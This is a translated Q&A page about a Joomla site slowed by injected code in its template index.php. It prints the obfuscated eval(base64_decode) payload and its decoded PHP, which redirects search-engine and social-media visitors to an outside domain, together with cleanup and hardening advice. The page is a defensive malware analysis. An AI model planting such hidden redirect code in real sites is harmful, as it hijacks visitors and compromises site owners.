繁体   English   中英

Joomla加载缓慢。 菜单项未加载

[英]Joomla loading slow. Menu items not loading

最近我的Joomla网站没有正确显示,只有背景图片正在加载,还有一些小问题。

不知何故,页面模板(index.php)被更改,并添加了一些额外的代码。 具体来说,这段代码:

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9wb2FzbS5xcG9lLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));

在整个PHP代码中多次引入,这导致我的网站加载时间缓慢(加载任何页面大约15-20秒)。

您的网站似乎被黑了,这意味着它可能会被黑客入侵。

如果您使用的是Joomla 1.5,则应该至少升级到2.5.x系列,如果您无法确保使用1.5.26版本。

接下来检查你针对VEL安装的所有扩展(Joomla!的漏洞扩展列表

完成后,您应该使用诸如AdminTools之类的产品或Joomla Extensions DirectorySite Protection部分中类似的高评价产品来保护您网站

顺便说一下,构建特定的有效负载以捕获搜索引擎引用您的站点并将其重定向到http://poasm.qpoe.com/的用户。它解码为:

error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
    $referer=$_SERVER['HTTP_REFERER'];
    $uag=$_SERVER['HTTP_USER_AGENT'];
    if ($uag) {
        if (!stristr($uag,"MSIE 7.0") and !stristr($uag,"MSIE 6.0")){
            if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"live.com") or stristr($referer,"webalta") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or     stristr($referer,"myspace.com") or stristr($referer,"facebook.com/l") or     stristr($referer,"aol.com")) {
                if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
                    header("Location: http://poasm.qpoe.com/");
                    exit();
                }
            }
        }
    }
}

我偶然发现了这个评论 ,终于能够解决我的问题了。

只需转到管理 - >扩展程序 - >模板管理器。 转到模板部分,选择模板,选择编辑主页面模板 ,然后获取index.php摆脱所有这些垃圾函数调用。 清理它解决了我的问题,现在一切都恢复正常,一切都像以前一样快速加载,所有页面都正常显示。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM